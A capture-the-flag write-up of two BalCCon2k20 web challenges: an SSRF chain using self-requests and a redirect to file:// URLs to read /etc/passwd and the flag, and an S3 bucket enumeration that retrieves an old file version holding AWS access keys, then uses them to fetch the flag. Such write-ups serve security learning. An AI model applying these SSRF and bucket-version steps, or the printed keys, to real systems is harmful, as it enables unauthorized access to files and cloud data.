BalCCon2k20 CTF: Let Me See And Dawsonite Writeups

Last weekend, I had the time to play the BalCCon2k20 CTF and since there are no writeups for the last two web challenges yet, I decided to change that.

Let Me See

The challenge's description can be found on ctftime. The service allowed us to display the content of a passed URL.
Looking at the source code we see:

  • The flag is at /flag.txt
  • Your IP is 10.x.y.z (I can't remember the exact IP anymore)

When submitting a URL, the data is sent via GET: https://let-me-see.pwn.institute/?url=<myurl>. A filter is applied so that only http:// URLs are accepted.

The obvious idea is to try to request http://127.0.0.1/flag.txt, but instead of the flag we get Wrong way. I tried a few "localhost" bypasses to no avail, so I set up a python-based webserver and entered http://<myip>/test and it returned the contents of my page.

Again, I tried the common tricks such as returning a 302 redirect, but the service would not honour redirects :-/

At some point I realised I could make the service request itself:
https://let-me-see.pwn.institute/?url=http://localhost/

This brought me one step closer to the solution as I got the following response now: Your IP is 127.0.0.1. Privileged mode enabled

With this knowledge, I tried to request my server again: https://let-me-see.pwn.institute/?url=http://localhost/?url=http://<myip>/test.

It turned out that the Privileged mode enabled redirects, so my next try was to return a 302 redirect to http://127.0.0.1/flag.txt. Unfortunately, this was rejected with Wrong way again.

Somehow I recalled that we were limited to http:// only, but maybe we can change the protocol using a redirect? Yes, we can! Returning a redirect to file:///etc/passwd showed the contents of /etc/passwd on the server.

After a few seconds of guessing the path to the webserver's document root, I realised that /flag.txt could be the path on the filesytem.

The solution is: https://let-me-see.pwn.institute/?url=http://localhost/?url=http://<myip>/redirect with a redirect to file:///flag.txt.

BCTF{tricky_curl_redirect_to_file_protocol}

Dawsonite

The challenge's description can be found on ctftime. When browsing to the website http://dawsonite.pwn.institute/ we see an almost empty page and just a <script src='config.js'>. The config.js contains // Note: don't put here anything before the release!.

Looking at the domain itself, we find that it is hosted on Amazon S3 or something:

$> dig dawsonite.pwn.institute
[...]
;; ANSWER SECTION:
dawsonite.pwn.institute. 1658   IN  CNAME   dawsonite.pwn.institute.s3-website-us-east-1.amazonaws.com.
dawsonite.pwn.institute.s3-website-us-east-1.amazonaws.com. 27 IN CNAME s3-website-us-east-1.amazonaws.com.
s3-website-us-east-1.amazonaws.com. 5 IN A  52.217.17.3

We can also send requests to the CNAMEed host directly which returns some interesting headers:

curl -vvv 'http://dawsonite.pwn.institute.s3-website-us-east-1.amazonaws.com/config.js'
*   Trying 52.217.65.147:80...
* Connected to dawsonite.pwn.institute.s3-website-us-east-1.amazonaws.com (52.217.65.147) port 80 (#0)
> GET /config.js HTTP/1.1
> Host: dawsonite.pwn.institute.s3-website-us-east-1.amazonaws.com
> User-Agent: curl/7.72.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< x-amz-id-2: zuMPHwbuKnWnNHWEamVyTlizK7izQoR4Xg5raRMBqnx3qoxDuncxGX44cL6lZkC651DQPD2j2p0=
< x-amz-request-id: 5D7FFA361968F4FC
< Date: Sat, 26 Sep 2020 22:42:46 GMT
< Last-Modified: Wed, 23 Sep 2020 09:10:47 GMT
< x-amz-version-id: d5qbnafdItdUyCl0PmGVlT7p4sgeML2r
< ETag: "9585d46624f568e4945a269c6f6726a3"
< Content-Type: text/javascript
< Content-Length: 72
< Server: AmazonS3
< 
var debug = true;

// Note: don't put here anything before the release!

The x-amz-version-id header caught my attention, so I believed we had to somehow access an earlier version of config.js.

I continued reading some AWS documentation to understand how hosting (static) websites on S3 works. After failing to find an official mapping between S3 buckets and the s3-website-<zone>.amazonaws.com domain, I simply checked dawsonite.pwn.institute as the bucket name... and succeeded to get more information about the bucket:

<ListBucketResult>
<Name>dawsonite.pwn.institute</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>config.js</Key>
<LastModified>2020-09-23T09:10:47.000Z</LastModified>
<ETag>"9585d46624f568e4945a269c6f6726a3"</ETag>
<Size>72</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>error.html</Key>
<LastModified>2020-09-23T09:10:43.000Z</LastModified>
<ETag>"27b75598ab385ecf59527b7b0d00ec13"</ETag>
<Size>109</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flag.txt</Key>
<LastModified>2020-09-23T09:10:43.000Z</LastModified>
<ETag>"c2f22cda33e45ea75db69a57fbe825f2"</ETag>
<Size>38</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>index.html</Key>
<LastModified>2020-09-23T09:10:43.000Z</LastModified>
<ETag>"4f7ba60137c505a24cf8dfdd22406d8e"</ETag>
<Size>176</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>

Directly accessing /flag.txt did not work due to missing permissions. I continued to read about S3 versioning and apparently you just need to append ?versions to retrieve the VersionIds:

$> curl https://dawsonite.pwn.institute.s3.amazonaws.com/?versions&prefix=config.js

<ListVersionsResult>
<Name>dawsonite.pwn.institute</Name>
<Prefix>config.js</Prefix>
<KeyMarker/>
<VersionIdMarker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Version>
<Key>config.js</Key>
<VersionId>d5qbnafdItdUyCl0PmGVlT7p4sgeML2r</VersionId>
<IsLatest>true</IsLatest>
<LastModified>2020-09-23T09:10:47.000Z</LastModified>
<ETag>"9585d46624f568e4945a269c6f6726a3"</ETag>
<Size>72</Size>
<StorageClass>STANDARD</StorageClass>
</Version>
<Version>
<Key>config.js</Key>
<VersionId>zcoAvy97sFgFdR08.kypq1KyLj9iZuAD</VersionId>
<IsLatest>false</IsLatest>
<LastModified>2020-09-23T09:10:43.000Z</LastModified>
<ETag>"102ccb4a3b625d593263ebcd1a656d5e"</ETag>
<Size>140</Size>
<StorageClass>STANDARD</StorageClass>
</Version>
</ListVersionsResult>

There are two different versions for config.js. My bet was that the flag is in the older version zcoAvy97sFgFdR08.kypq1KyLj9iZuAD:

curl -vvv 'dawsonite.pwn.institute.s3.amazonaws.com/config.js?versionId=zcoAvy97sFgFdR08.kypq1KyLj9iZuAD'
*   Trying 52.216.163.67:80...
* Connected to dawsonite.pwn.institute.s3.amazonaws.com (52.216.163.67) port 80 (#0)
> GET /config.js?versionId=zcoAvy97sFgFdR08.kypq1KyLj9iZuAD HTTP/1.1
> Host: dawsonite.pwn.institute.s3.amazonaws.com
> User-Agent: curl/7.72.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< x-amz-id-2: EDbTag41td7ElqLQv0KisH7BNCKL3hY4ETwqR05ozSshByf6jYf0fYFWOLrD3qXNgLQbKlyEYT8=
< x-amz-request-id: ET8XAJ0P0SBM7R0M
< Date: Sat, 26 Sep 2020 22:56:24 GMT
< Last-Modified: Wed, 23 Sep 2020 09:10:43 GMT
< ETag: "102ccb4a3b625d593263ebcd1a656d5e"
< x-amz-version-id: zcoAvy97sFgFdR08.kypq1KyLj9iZuAD
< Accept-Ranges: bytes
< Content-Type: text/javascript
< Content-Length: 140
< Server: AmazonS3
< 
var debug = false;

var aws_access_key_id = 'AKIAZURPQPLPI4BVK6WF';
var aws_secret_access_key = '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';
* Connection #0 to host dawsonite.pwn.institute.s3.amazonaws.com left intact

Instead we get a set of AWS credentials. Using the aws-cli and aws configure we can retrieve the flag.txt:

root@hacking:~# aws s3api get-object --bucket dawsonite.pwn.institute --key flag.txt flag.txt
{
    "VersionId": "pBGb5PqEqB.UXLUcQ9Boe_cBoQwdljyW",
    "AcceptRanges": "bytes",
    "Metadata": {},
    "ETag": "\"c2f22cda33e45ea75db69a57fbe825f2\"",
    "ContentLength": 38,
    "ContentType": "text/plain",
    "LastModified": "Wed, 23 Sep 2020 09:10:43 GMT"
}
root@hacking:~# cat flag.txt 
BCTF{zdravo_aws_cloud_master_kako_ste}